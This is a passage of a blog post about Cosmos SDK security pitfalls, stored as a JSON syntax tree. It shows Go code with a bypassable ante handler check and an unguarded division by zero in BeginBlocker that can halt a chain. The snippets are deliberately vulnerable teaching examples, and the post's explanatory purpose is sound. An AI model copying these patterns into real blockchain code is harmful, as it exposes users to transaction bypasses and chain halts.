anteHandler",{"type":23,"tag":75,"props":4757,"children":4758},{"style":209},[4759],{"type":29,"value":1193},{"type":23,"tag":75,"props":4761,"children":4762},{"style":110},[4763],{"type":29,"value":2951},{"type":23,"tag":75,"props":4765,"children":4766},{"style":94},[4767],{"type":29,"value":557},{"type":23,"tag":75,"props":4769,"children":4770},{"style":88},[4771],{"type":29,"value":4772},"ChainAnteDecorators",{"type":23,"tag":75,"props":4774,"children":4775},{"style":94},[4776],{"type":29,"value":97},{"type":23,"tag":75,"props":4778,"children":4779},{"class":77,"line":3436},[4780,4785,4789],{"type":23,"tag":75,"props":4781,"children":4782},{"style":88},[4783],{"type":29,"value":4784},"                        NewEthSetUpContextDecorator",{"type":23,"tag":75,"props":4786,"children":4787},{"style":94},[4788],{"type":29,"value":1471},{"type":23,"tag":75,"props":4790,"children":4791},{"style":3621},[4792],{"type":29,"value":3624},{"type":23,"tag":75,"props":4794,"children":4795},{"class":77,"line":3449},[4796],{"type":23,"tag":75,"props":4797,"children":4798},{"style":209},[4799],{"type":29,"value":4800},"                        ...\n",{"type":23,"tag":75,"props":4802,"children":4803},{"class":77,"line":3457},[4804,4809,4813,4818,4822],{"type":23,"tag":75,"props":4805,"children":4806},{"style":88},[4807],{"type":29,"value":4808},"                        NewEthIncrementSenderSequenceDecorator",{"type":23,"tag":75,"props":4810,"children":4811},{"style":94},[4812],{"type":29,"value":643},{"type":23,"tag":75,"props":4814,"children":4815},{"style":110},[4816],{"type":29,"value":4817},"ak",{"type":23,"tag":75,"props":4819,"children":4820},{"style":94},[4821],{"type":29,"value":3851},{"type":23,"tag":75,"props":4823,"children":4824},{"style":3621},[4825],{"type":29,"value":4826},"// innermost AnteDecorator.\n",{"type":23,"tag":75,"props":4828,"children":4829},{"class":77,"line":3465},[4830],{"type":23,"tag":75,"props":4831,"children":4832},{"style":94},[4833],{"type":29,"value":4834},"                    )\n",{"type":23,"tag":75,"props":4836,"children":4837},{"class":77,"line":3473},[4838],{"type":23,"tag":75,"props":4839,"children":4840},{"emptyLinePlaceholder":15},[4841],{"type":29,"value":276},{"type":23,"tag":75,"props":4843,"children":4844},{"class":77,"line":3481},[4845,4850],{"type":23,"tag":75,"props":4846,"children":4847},{"style":175},[4848],{"type":29,"value":4849},"                default",{"type":23,"tag":75,"props":4851,"children":4852},{"style":94},[4853],{"type":29,"value":4732},{"type":23,"tag":75,"props":4855,"children":4856},{"class":77,"line":3524},[4857,4862,4866,4870,4875,4879,4884],{"type":23,"tag":75,"props":4858,"children":4859},{"style":175},[4860],{"type":29,"value":4861},"                    return",{"type":23,"tag":75,"props":4863,"children":4864},{"style":110},[4865],{"type":29,"value":3142},{"type":23,"tag":75,"props":4867,"children":4868},{"style":94},[4869],{"type":29,"value":611},{"type":23,"tag":75,"props":4871,"children":4872},{"style":110},[4873],{"type":29,"value":4874},"stacktrace",{"type":23,"tag":75,"props":4876,"children":4877},{"style":94},[4878],{"type":29,"value":557},{"type":23,"tag":75,"props":4880,"children":4881},{"style":88},[4882],{"type":29,"value":4883},"Propagate",{"type":23,"tag":75,"props":4885,"children":4886},{"style":94},[4887],{"type":29,"value":97},{"type":23,"tag":75,"props":4889,"children":4891},{"class":77,"line":4890},32,[4892,4897,4901,4905,4909,4914,4918,4923,4927,4931],{"type":23,"tag":75,"props":4893,"children":4894},{"style":110},[4895],{"type":29,"value":4896},"                        sdkerrors",{"type":23,"tag":75,"props":4898,"children":4899},{"style":94},[4900],{"type":29,"value":557},{"type":23,"tag":75,"props":4902,"children":4903},{"style":88},[4904],{"type":29,"value":3160},{"type":23,"tag":75,"props":4906,"children":4907},{"style":94},[4908],{"type":29,"value":643},{"type":23,"tag":75,"props":4910,"children":4911},{"style":110},[4912],{"type":29,"value":4913},"sdkerrors",{"type":23,"tag":75,"props":4915,"children":4916},{"style":94},[4917],{"type":29,"value":557},{"type":23,"tag":75,"props":4919,"children":4920},{"style":110},[4921],{"type":29,"value":4922},"ErrUnknownExtensionOptions",{"type":23,"tag":75,"props":4924,"children":4925},{"style":94},[4926],{"type":29,"value":611},{"type":23,"tag":75,"props":4928,"children":4929},{"style":110},[4930],{"type":29,"value":4710},{"type":23,"tag":75,"props":4932,"children":4933},{"style":94},[4934],{"type":29,"value":1792},{"type":23,"tag":75,"props":4936,"children":4938},{"class":77,"line":4937},33,[4939,4944],{"type":23,"tag":75,"props":4940,"children":4941},{"style":1266},[4942],{"type":29,"value":4943},"                        \"rejecting tx with unsupported extension option\"",{"type":23,"tag":75,"props":4945,"children":4946},{"style":94},[4947],{"type":29,"value":118},{"type":23,"tag":75,"props":4949,"children":4951},{"class":77,"line":4950},34,[4952],{"type":23,"tag":75,"props":4953,"children":4954},{"style":94},[4955],{"type":29,"value":4834},{"type":23,"tag":75,"props":4957,"children":4959},{"class":77,"line":4958},35,[4960],{"type":23,"tag":75,"props":4961,"children":4962},{"style":94},[4963],{"type":29,"value":4964},"                }\n",{"type":23,"tag":75,"props":4966,"children":4968},{"class":77,"line":4967},36,[4969],{"type":23,"tag":75,"props":4970,"children":4971},{"emptyLinePlaceholder":15},[4972],{"type":29,"value":276},{"type":23,"tag":75,"props":4974,"children":4976},{"class":77,"line":4975},37,[4977,4982,4986,4990,4994,4998,5002,5006,5010],{"type":23,"tag":75,"props":4978,"children":4979},{"style":175},[4980],{"type":29,"value":4981},"                return",{"type":23,"tag":75,"props":4983,"children":4984},{"style":88},[4985],{"type":29,"value":4456},{"type":23,"tag":75,"props":4987,"children":4988},{"style":94},[4989],{"type":29,"value":643},{"type":23,"tag":75,"props":4991,"children":4992},{"style":110},[4993],{"type":29,"value":3331},{"type":23,"tag":75,"props":4995,"children":4996},{"style":94},[4997],{"type":29,"value":611},{"type":23,"tag":75,"props":4999,"children":5000},{"style":110},[5001],{"type":29,"value":3508},{"type":23,"tag":75,"props":5003,"children":5004},{"style":94},[5005],{"type":29,"value":611},{"type":23,"tag":75,"props":5007,"children":5008},{"style":110},[5009],{"type":29,"value":4392},{"type":23,"tag":75,"props":5011,"children":5012},{"style":94},[5013],{"type":29,"value":653},{"type":23,"tag":75,"props":5015,"children":5017},{"class":77,"line":5016},38,[5018],{"type":23,"tag":75,"props":5019,"children":5020},{"style":94},[5021],{"type":29,"value":5022},"            }\n",{"type":23,"tag":75,"props":5024,"children":5026},{"class":77,"line":5025},39,[5027],{"type":23,"tag":75,"props":5028,"children":5029},{"style":94},[5030],{"type":29,"value":2503},{"type":23,"tag":75,"props":5032,"children":5034},{"class":77,"line":5033},40,[5035],{"type":23,"tag":75,"props":5036,"children":5037},{"emptyLinePlaceholder":15},[5038],{"type":29,"value":276},{"type":23,"tag":75,"props":5040,"children":5042},{"class":77,"line":5041},41,[5043],{"type":23,"tag":75,"props":5044,"children":5045},{"style":3621},[5046],{"type":29,"value":5047},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":23,"tag":75,"props":5049,"children":5051},{"class":77,"line":5050},42,[5052],{"type":23,"tag":75,"props":5053,"children":5054},{"emptyLinePlaceholder":15},[5055],{"type":29,"value":276},{"type":23,"tag":75,"props":5057,"children":5059},{"class":77,"line":5058},43,[5060,5065,5069,5073,5077],{"type":23,"tag":75,"props":5061,"children":5062},{"style":175},[5063],{"type":29,"value":5064},"        switch",{"type":23,"tag":75,"props":5066,"children":5067},{"style":110},[5068],{"type":29,"value":3087},{"type":23,"tag":75,"props":5070,"children":5071},{"style":94},[5072],{"type":29,"value":3092},{"type":23,"tag":75,"props":5074,"children":5075},{"style":82},[5076],{"type":29,"value":386},{"type":23,"tag":75,"props":5078,"children":5079},{"style":94},[5080],{"type":29,"value":193},{"type":23,"tag":75,"props":5082,"children":5084},{"class":77,"line":5083},44,[5085,5090,5094,5098,5102],{"type":23,"tag":75,"props":5086,"children":5087},{"style":175},[5088],{"type":29,"value":5089},"        case",{"type":23,"tag":75,"props":5091,"children":5092},{"style":104},[5093],{"type":29,"value":2951},{"type":23,"tag":75,"props":5095,"children":5096},{"style":94},[5097],{"type":29,"value":557},{"type":23,"tag":75,"props":5099,"children":5100},{"style":104},[5101],{"type":29,"value":2984},{"type":23,"tag":75,"props":5103,"children":5104},{"style":94},[5105],{"type":29,"value":4732},{"type":23,"tag":75,"props":5107,"children":5109},{"class":77,"line":5108},45,[5110,5115,5119,5123,5127,5131],{"type":23,"tag":75,"props":5111,"children":5112},{"style":110},[5113],{"type":29,"value":5114},"            anteHandler",{"type":23,"tag":75,"props":5116,"children":5117},{"style":209},[5118],{"type":29,"value":1193},{"type":23,"tag":75,"props":5120,"children":5121},{"style":110},[5122],{"type":29,"value":2951},{"type":23,"tag":75,"props":5124,"children":5125},{"style":94},[5126],{"type":29,"value":557},{"type":23,"tag":75,"props":5128,"children":5129},{"style":88},[5130],{"type":29,"value":4772},{"type":23,"tag":75,"props":5132,"children":5133},{"style":94},[5134],{"type":29,"value":97},{"type":23,"tag":75,"props":5136,"children":5138},{"class":77,"line":5137},46,[5139,5144,5148,5153,5157],{"type":23,"tag":75,"props":5140,"children":5141},{"style":110},[5142],{"type":29,"value":5143},"                authante",{"type":23,"tag":75,"props":5145,"children":5146},{"style":94},[5147],{"type":29,"value":557},{"type":23,"tag":75,"props":5149,"children":5150},{"style":88},[5151],{"type":29,"value":5152},"NewSetUpContextDecorator",{"type":23,"tag":75,"props":5154,"children":5155},{"style":94},[5156],{"type":29,"value":1471},{"type":23,"tag":75,"props":5158,"children":5159},{"style":3621},[5160],{"type":29,"value":3624},{"type":23,"tag":75,"props":5162,"children":5164},{"class":77,"line":5163},47,[5165],{"type":23,"tag":75,"props":5166,"children":5167},{"style":209},[5168],{"type":29,"value":5169},"                 ...\n",{"type":23,"tag":75,"props":5171,"children":5173},{"class":77,"line":5172},48,[5174,5178,5182,5187,5191,5195,5199],{"type":23,"tag":75,"props":5175,"children":5176},{"style":110},[5177],{"type":29,"value":5143},{"type":23,"tag":75,"props":5179,"children":5180},{"style":94},[5181],{"type":29,"value":557},{"type":23,"tag":75,"props":5183,"children":5184},{"style":88},[5185],{"type":29,"value":5186},"NewIncrementSequenceDecorator",{"type":23,"tag":75,"props":5188,"children":5189},{"style":94},[5190],{"type":29,"value":643},{"type":23,"tag":75,"props":5192,"children":5193},{"style":110},[5194],{"type":29,"value":4817},{"type":23,"tag":75,"props":5196,"children":5197},{"style":94},[5198],{"type":29,"value":3851},{"type":23,"tag":75,"props":5200,"children":5201},{"style":3621},[5202],{"type":29,"value":5203},"// innermost AnteDecorator\n",{"type":23,"tag":75,"props":5205,"children":5207},{"class":77,"line":5206},49,[5208],{"type":23,"tag":75,"props":5209,"children":5210},{"style":94},[5211],{"type":29,"value":1800},{"type":23,"tag":75,"props":5213,"children":5215},{"class":77,"line":5214},50,[5216,5221],{"type":23,"tag":75,"props":5217,"children":5218},{"style":175},[5219],{"type":29,"value":5220},"        default",{"type":23,"tag":75,"props":5222,"children":5223},{"style":94},[5224],{"type":29,"value":4732},{"type":23,"tag":75,"props":5226,"children":5228},{"class":77,"line":5227},51,[5229,5233,5237,5241,5245,5249,5253],{"type":23,"tag":75,"props":5230,"children":5231},{"style":175},[5232],{"type":29,"value":3396},{"type":23,"tag":75,"props":5234,"children":5235},{"style":110},[5236],{"type":29,"value":3142},{"type":23,"tag":75,"props":5238,"children":5239},{"style":94},[5240],{"type":29,"value":611},{"type":23,"tag":75,"props":5242,"children":5243},{"style":110},[5244],{"type":29,"value":4874},{"type":23,"tag":75,"props":5246,"children":5247},{"style":94},[5248],{"type":29,"value":557},{"type":23,"tag":75,"props":5250,"children":5251},{"style":88},[5252],{"type":29,"value":4883},{"type":23,"tag":75,"props":5254,"children":5255},{"style":94},[5256],{"type":29,"value":97},{"type":23,"tag":75,"props":5258,"children":5260},{"class":77,"line":5259},52,[5261,5266,5270,5275,5279,5283,5287,5292,5296,5301,5305,5309],{"type":23,"tag":75,"props":5262,"children":5263},{"style":110},[5264],{"type":29,"value":5265},"                sdkerrors",{"type":23,"tag":75,"props":5267,"children":5268},{"style":94},[5269],{"type":29,"value":557},{"type":23,"tag":75,"props":5271,"children":5272},{"style":88},[5273],{"type":29,"value":5274},"Wrapf",{"type":23,"tag":75,"props":5276,"children":5277},{"style":94},[5278],{"type":29,"value":643},{"type":23,"tag":75,"props":5280,"children":5281},{"style":110},[5282],{"type":29,"value":4913},{"type":23,"tag":75,"props":5284,"children":5285},{"style":94},[5286],{"type":29,"value":557},{"type":23,"tag":75,"props":5288,"children":5289},{"style":110},[5290],{"type":29,"value":5291},"ErrUnknownRequest",{"type":23,"tag":75,"props":5293,"children":5294},{"style":94},[5295],{"type":29,"value":611},{"type":23,"tag":75,"props":5297,"children":5298},{"style":1266},[5299],{"type":29,"value":5300},"\"invalid transaction type: %T\"",{"type":23,"tag":75,"props":5302,"children":5303},{"style":94},[5304],{"type":29,"value":611},{"type":23,"tag":75,"props":5306,"children":5307},{"style":110},[5308],{"type":29,"value":3508},{"type":23,"tag":75,"props":5310,"children":5311},{"style":94},[5312],{"type":29,"value":1792},{"type":23,"tag":75,"props":5314,"children":5316},{"class":77,"line":5315},53,[5317,5322],{"type":23,"tag":75,"props":5318,"children":5319},{"style":1266},[5320],{"type":29,"value":5321},"                \"transaction is not an SDK tx\"",{"type":23,"tag":75,"props":5323,"children":5324},{"style":94},[5325],{"type":29,"value":118},{"type":23,"tag":75,"props":5327,"children":5329},{"class":77,"line":5328},54,[5330],{"type":23,"tag":75,"props":5331,"children":5332},{"style":94},[5333],{"type":29,"value":1800},{"type":23,"tag":75,"props":5335,"children":5337},{"class":77,"line":5336},55,[5338],{"type":23,"tag":75,"props":5339,"children":5340},{"style":94},[5341],{"type":29,"value":2503},{"type":23,"tag":75,"props":5343,"children":5345},{"class":77,"line":5344},56,[5346],{"type":23,"tag":75,"props":5347,"children":5348},{"emptyLinePlaceholder":15},[5349],{"type":29,"value":276},{"type":23,"tag":75,"props":5351,"children":5353},{"class":77,"line":5352},57,[5354,5358,5362,5366,5370,5374,5378,5382,5386],{"type":23,"tag":75,"props":5355,"children":5356},{"style":175},[5357],{"type":29,"value":1388},{"type":23,"tag":75,"props":5359,"children":5360},{"style":88},[5361],{"type":29,"value":4456},{"type":23,"tag":75,"props":5363,"children":5364},{"style":94},[5365],{"type":29,"value":643},{"type":23,"tag":75,"props":5367,"children":5368},{"style":110},[5369],{"type":29,"value":3331},{"type":23,"tag":75,"props":5371,"children":5372},{"style":94},[5373],{"type":29,"value":611},{"type":23,"tag":75,"props":5375,"children":5376},{"style":110},[5377],{"type":29,"value":3508},{"type":23,"tag":75,"props":5379,"children":5380},{"style":94},[5381],{"type":29,"value":611},{"type":23,"tag":75,"props":5383,"children":5384},{"style":110},[5385],{"type":29,"value":4392},{"type":23,"tag":75,"props":5387,"children":5388},{"style":94},[5389],{"type":29,"value":653},{"type":23,"tag":75,"props":5391,"children":5393},{"class":77,"line":5392},58,[5394],{"type":23,"tag":75,"props":5395,"children":5396},{"style":94},[5397],{"type":29,"value":346},{"type":23,"tag":75,"props":5399,"children":5401},{"class":77,"line":5400},59,[5402],{"type":23,"tag":75,"props":5403,"children":5404},{"style":94},[5405],{"type":29,"value":369},{"type":23,"tag":32,"props":5407,"children":5408},{},[5409,5411,5416,5418,5425,5426,5433],{"type":29,"value":5410},"Additional examples of incorrect ",{"type":23,"tag":71,"props":5412,"children":5414},{"className":5413},[],[5415],{"type":29,"value":2774},{"type":29,"value":5417}," usage include ",{"type":23,"tag":940,"props":5419,"children":5422},{"href":5420,"rel":5421},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[944],[5423],{"type":29,"value":5424},"yet more bypassable checks and loss of funds",{"type":29,"value":2721},{"type":23,"tag":940,"props":5427,"children":5430},{"href":5428,"rel":5429},"https://github.com/cosmos/ibc-go/issues/853",[944],[5431],{"type":29,"value":5432},"incorrect data passing between blockchains",{"type":29,"value":557},{"type":23,"tag":24,"props":5435,"children":5437},{"id":5436},"errors-panics-i-can-handle-it",[5438],{"type":29,"value":5439},"Errors? Panics? I can handle it",{"type":23,"tag":32,"props":5441,"children":5442},{},[5443],{"type":29,"value":5444},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":32,"props":5446,"children":5447},{},[5448],{"type":29,"value":5449},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":32,"props":5451,"children":5452},{},[5453,5455,5461,5463,5468],{"type":29,"value":5454},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":71,"props":5456,"children":5458},{"className":5457},[],[5459],{"type":29,"value":5460},"k.keeper.TotalReward()",{"type":29,"value":5462}," returns zero, the ",{"type":23,"tag":71,"props":5464,"children":5466},{"className":5465},[],[5467],{"type":29,"value":688},{"type":29,"value":5469}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":64,"props":5471,"children":5473},{"code":5472,"language":373,"meta":7,"className":374,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[5474],{"type":23,"tag":71,"props":5475,"children":5476},{"__ignoreMap":7},[5477,5510,5533,5561,5597,5604,5674,5712,5719,5751],{"type":23,"tag":75,"props":5478,"children":5479},{"class":77,"line":78},[5480,5484,5488,5493,5497,5501,5506],{"type":23,"tag":75,"props":5481,"children":5482},{"style":82},[5483],{"type":29,"value":512},{"type":23,"tag":75,"props":5485,"children":5486},{"style":94},[5487],{"type":29,"value":183},{"type":23,"tag":75,"props":5489,"children":5490},{"style":110},[5491],{"type":29,"value":5492},"k ",{"type":23,"tag":75,"props":5494,"children":5495},{"style":104},[5496],{"type":29,"value":526},{"type":23,"tag":75,"props":5498,"children":5499},{"style":94},[5500],{"type":29,"value":167},{"type":23,"tag":75,"props":5502,"children":5503},{"style":88},[5504],{"type":29,"value":5505},"AllocateReward",{"type":23,"tag":75,"props":5507,"children":5508},{"style":94},[5509],{"type":29,"value":97},{"type":23,"tag":75,"props":5511,"children":5512},{"class":77,"line":100},[5513,5517,5521,5525,5529],{"type":23,"tag":75,"props":5514,"children":5515},{"style":110},[5516],{"type":29,"value":547},{"type":23,"tag":75,"props":5518,"children":5519},{"style":104},[5520],{"type":29,"value":552},{"type":23,"tag":75,"props":5522,"children":5523},{"style":94},[5524],{"type":29,"value":557},{"type":23,"tag":75,"props":5526,"children":5527},{"style":104},[5528],{"type":29,"value":562},{"type":23,"tag":75,"props":5530,"children":5531},{"style":94},[5532],{"type":29,"value":118},{"type":23,"tag":75,"props":5534,"children":5535},{"class":77,"line":121},[5536,5540,5544,5548,5552,5557],{"type":23,"tag":75,"props":5537,"children":5538},{"style":110},[5539],{"type":29,"value":574},{"type":23,"tag":75,"props":5541,"children":5542},{"style":209},[5543],{"type":29,"value":579},{"type":23,"tag":75,"props":5545,"children":5546},{"style":104},[5547],{"type":29,"value":2344},{"type":23,"tag":75,"props":5549,"children":5550},{"style":94},[5551],{"type":29,"value":557},{"type":23,"tag":75,"props":5553,"children":5554},{"style":104},[5555],{"type":29,"value":5556},"MsgAllocateReward",{"type":23,"tag":75,"props":5558,"children":5559},{"style":94},[5560],{"type":29,"value":653},{"type":23,"tag":75,"props":5562,"children":5563},{"class":77,"line":138},[5564,5568,5572,5576,5580,5585,5589,5593],{"type":23,"tag":75,"props":5565,"children":5566},{"style":94},[5567],{"type":29,"value":643},{"type":23,"tag":75,"props":5569,"children":5570},{"style":209},[5571],{"type":29,"value":601},{"type":23,"tag":75,"props":5573,"children":5574},{"style":104},[5575],{"type":29,"value":2344},{"type":23,"tag":75,"props":5577,"children":5578},{"style":94},[5579],{"type":29,"value":557},{"type":23,"tag":75,"props":5581,"children":5582},{"style":104},[5583],{"type":29,"value":5584},"MsgAllocatRewardResponse",{"type":23,"tag":75,"props":5586,"children":5587},{"style":94},[5588],{"type":29,"value":611},{"type":23,"tag":75,"props":5590,"children":5591},{"style":104},[5592],{"type":29,"value":616},{"type":23,"tag":75,"props":5594,"children":5595},{"style":94},[5596],{"type":29,"value":193},{"type":23,"tag":75,"props":5598,"children":5599},{"class":77,"line":161},[5600],{"type":23,"tag":75,"props":5601,"children":5602},{"emptyLinePlaceholder":15},[5603],{"type":29,"value":276},{"type":23,"tag":75,"props":5605,"children":5606},{"class":77,"line":196},[5607,5612,5616,5621,5625,5630,5634,5639,5643,5648,5653,5657,5661,5665,5670],{"type":23,"tag":75,"props":5608,"children":5609},{"style":110},[5610],{"type":29,"value":5611},"    RewardPerShare",{"type":23,"tag":75,"props":5613,"children":5614},{"style":209},[5615],{"type":29,"value":633},{"type":23,"tag":75,"props":5617,"children":5618},{"style":110},[5619],{"type":29,"value":5620}," k",{"type":23,"tag":75,"props":5622,"children":5623},{"style":94},[5624],{"type":29,"value":557},{"type":23,"tag":75,"props":5626,"children":5627},{"style":110},[5628],{"type":29,"value":5629},"keeper",{"type":23,"tag":75,"props":5631,"children":5632},{"style":94},[5633],{"type":29,"value":557},{"type":23,"tag":75,"props":5635,"children":5636},{"style":88},[5637],{"type":29,"value":5638},"Shares",{"type":23,"tag":75,"props":5640,"children":5641},{"style":94},[5642],{"type":29,"value":2464},{"type":23,"tag":75,"props":5644,"children":5645},{"style":209},[5646],{"type":29,"value":5647},"/",{"type":23,"tag":75,"props":5649,"children":5650},{"style":110},[5651],{"type":29,"value":5652},"  k",{"type":23,"tag":75,"props":5654,"children":5655},{"style":94},[5656],{"type":29,"value":557},{"type":23,"tag":75,"props":5658,"children":5659},{"style":110},[5660],{"type":29,"value":5629},{"type":23,"tag":75,"props":5662,"children":5663},{"style":94},[5664],{"type":29,"value":557},{"type":23,"tag":75,"props":5666,"children":5667},{"style":88},[5668],{"type":29,"value":5669},"TotalReward",{"type":23,"tag":75,"props":5671,"children":5672},{"style":94},[5673],{"type":29,"value":3249},{"type":23,"tag":75,"props":5675,"children":5676},{"class":77,"line":220},[5677,5682,5686,5690,5694,5699,5703,5708],{"type":23,"tag":75,"props":5678,"children":5679},{"style":110},[5680],{"type":29,"value":5681},"    k",{"type":23,"tag":75,"props":5683,"children":5684},{"style":94},[5685],{"type":29,"value":557},{"type":23,"tag":75,"props":5687,"children":5688},{"style":110},[5689],{"type":29,"value":5629},{"type":23,"tag":75,"props":5691,"children":5692},{"style":94},[5693],{"type":29,"value":557},{"type":23,"tag":75,"props":5695,"children":5696},{"style":88},[5697],{"type":29,"value":5698},"DistributeReward",{"type":23,"tag":75,"props":5700,"children":5701},{"style":94},[5702],{"type":29,"value":643},{"type":23,"tag":75,"props":5704,"children":5705},{"style":110},[5706],{"type":29,"value":5707},"RewardPerShare",{"type":23,"tag":75,"props":5709,"children":5710},{"style":94},[5711],{"type":29,"value":653},{"type":23,"tag":75,"props":5713,"children":5714},{"class":77,"line":248},[5715],{"type":23,"tag":75,"props":5716,"children":5717},{"emptyLinePlaceholder":15},[5718],{"type":29,"value":276},{"type":23,"tag":75,"props":5720,"children":5721},{"class":77,"line":270},[5722,5726,5730,5734,5738,5743,5747],{"type":23,"tag":75,"props":5723,"children":5724},{"style":175},[5725],{"type":29,"value":355},{"type":23,"tag":75,"props":5727,"children":5728},{"style":209},[5729],{"type":29,"value":844},{"type":23,"tag":75,"props":5731,"children":5732},{"style":110},[5733],{"type":29,"value":2344},{"type":23,"tag":75,"props":5735,"children":5736},{"style":94},[5737],{"type":29,"value":557},{"type":23,"tag":75,"props":5739,"children":5740},{"style":110},[5741],{"type":29,"value":5742},"MsgAllocateRewardResponse",{"type":23,"tag":75,"props":5744,"children":5745},{"style":94},[5746],{"type":29,"value":611},{"type":23,"tag":75,"props":5748,"children":5749},{"style":82},[5750],{"type":29,"value":878},{"type":23,"tag":75,"props":5752,"children":5753},{"class":77,"line":279},[5754],{"type":23,"tag":75,"props":5755,"children":5756},{"style":94},[5757],{"type":29,"value":369},{"type":23,"tag":32,"props":5759,"children":5760},{},[5761,5763,5769,5770,5776,5778,5784,5786,5791],{"type":29,"value":5762},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":71,"props":5764,"children":5766},{"className":5765},[],[5767],{"type":29,"value":5768},"PreBlocker",{"type":29,"value":611},{"type":23,"tag":71,"props":5771,"children":5773},{"className":5772},[],[5774],{"type":29,"value":5775},"BeginBlocker",{"type":29,"value":5777},", and ",{"type":23,"tag":71,"props":5779,"children":5781},{"className":5780},[],[5782],{"type":29,"value":5783},"EndBlocker",{"type":29,"value":5785},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":71,"props":5787,"children":5789},{"className":5788},[],[5790],{"type":29,"value":5775},{"type":29,"value":5792}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":64,"props":5794,"children":5796},{"code":5795,"language":373,"meta":7,"className":374,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[5797],{"type":23,"tag":71,"props":5798,"children":5799},{"__ignoreMap":7},[5800,5865,5872,5920,5948,5955,5968],{"type":23,"tag":75,"props":5801,"children":5802},{"class":77,"line":78},[5803,5807,5812,5816,5820,5824,5828,5832,5836,5840,5845,5849,5853,5857,5861],{"type":23,"tag":75,"props":5804,"children":5805},{"style":82},[5806],{"type":29,"value":512},{"type":23,"tag":75,"props":5808,"children":5809},{"style":88},[5810],{"type":29,"value":5811}," BeginBlocker",{"type":23,"tag":75,"props":5813,"children":5814},{"style":94},[5815],{"type":29,"value":643},{"type":23,"tag":75,"props":5817,"children":5818},{"style":110},[5819],{"type":29,"value":3331},{"type":23,"tag":75,"props":5821,"children":5822},{"style":104},[5823],{"type":29,"value":552},{"type":23,"tag":75,"props":5825,"children":5826},{"style":94},[5827],{"type":29,"value":557},{"type":23,"tag":75,"props":5829,"children":5830},{"style":104},[5831],{"type":29,"value":562},{"type":23,"tag":75,"props":5833,"children":5834},{"style":94},[5835],{"type":29,"value":611},{"type":23,"tag":75,"props":5837,"children":5838},{"style":110},[5839],{"type":29,"value":5629},{"type":23,"tag":75,"props":5841,"children":5842},{"style":104},[5843],{"type":29,"value":5844}," keeper",{"type":23,"tag":75,"props":5846,"children":5847},{"style":94},[5848],{"type":29,"value":557},{"type":23,"tag":75,"props":5850,"children":5851},{"style":104},[5852],{"type":29,"value":4276},{"type":23,"tag":75,"props":5854,"children":5855},{"style":94},[5856],{"type":29,"value":167},{"type":23,"tag":75,"props":5858,"children":5859},{"style":104},[5860],{"type":29,"value":616},{"type":23,"tag":75,"props":5862,"children":5863},{"style":94},[5864],{"type":29,"value":401},{"type":23,"tag":75,"props":5866,"children":5867},{"class":77,"line":100},[5868],{"type":23,"tag":75,"props":5869,"children":5870},{"emptyLinePlaceholder":15},[5871],{"type":29,"value":276},{"type":23,"tag":75,"props":5873,"children":5874},{"class":77,"line":121},[5875,5879,5883,5887,5891,5895,5899,5903,5908,5912,5916],{"type":23,"tag":75,"props":5876,"children":5877},{"style":110},[5878],{"type":29,"value":5611},{"type":23,"tag":75,"props":5880,"children":5881},{"style":209},[5882],{"type":29,"value":633},{"type":23,"tag":75,"props":5884,"children":5885},{"style":110},[5886],{"type":29,"value":5844},{"type":23,"tag":75,"props":5888,"children":5889},{"style":94},[5890],{"type":29,"value":557},{"type":23,"tag":75,"props":5892,"children":5893},{"style":88},[5894],{"type":29,"value":5638},{"type":23,"tag":75,"props":5896,"children":5897},{"style":94},[5898],{"type":29,"value":2464},{"type":23,"tag":75,"props":5900,"children":5901},{"style":209},[5902],{"type":29,"value":5647},{"type":23,"tag":75,"props":5904,"children":5905},{"style":110},[5906],{"type":29,"value":5907},"  keeper",{"type":23,"tag":75,"props":5909,"children":5910},{"style":94},[5911],{"type":29,"value":557},{"type":23,"tag":75,"props":5913,"children":5914},{"style":88},[5915],{"type":29,"value":5669},{"type":23,"tag":75,"props":5917,"children":5918},{"style":94},[5919],{"type":29,"value":3249},{"type":23,"tag":75,"props":5921,"children":5922},{"class":77,"line":138},[5923,5928,5932,5936,5940,5944],{"type":23,"tag":75,"props":5924,"children":5925},{"style":110},[5926],{"type":29,"value":5927},"    keeper",{"type":23,"tag":75,"props":5929,"children":5930},{"style":94},[5931],{"type":29,"value":557},{"type":23,"tag":75,"props":5933,"children":5934},{"style":88},[5935],{"type":29,"value":5698},{"type":23,"tag":75,"props":5937,"children":5938},{"style":94},[5939],{"type":29,"value":643},{"type":23,"tag":75,"props":5941,"children":5942},{"style":110},[5943],{"type":29,"value":5707},{"type":23,"tag":75,"props":5945,"children":5946},{"style":94},[5947],{"type":29,"value":653},{"type":23,"tag":75,"props":5949,"children":5950},{"class":77,"line":161},[5951],{"type":23,"tag":75,"props":5952,"children":5953},{"emptyLinePlaceholder":15},[5954],{"type":29,"value":276},{"type":23,"tag":75,"props":5956,"children":5957},{"class":77,"line":196},[5958,5963],{"type":23,"tag":75,"props":5959,"children":5960},{"style":175},[5961],{"type":29,"value":5962}," return",{"type":23,"tag":75,"props":5964,"children":5965},{"style":82},[5966],{"type":29,"value":5967}," 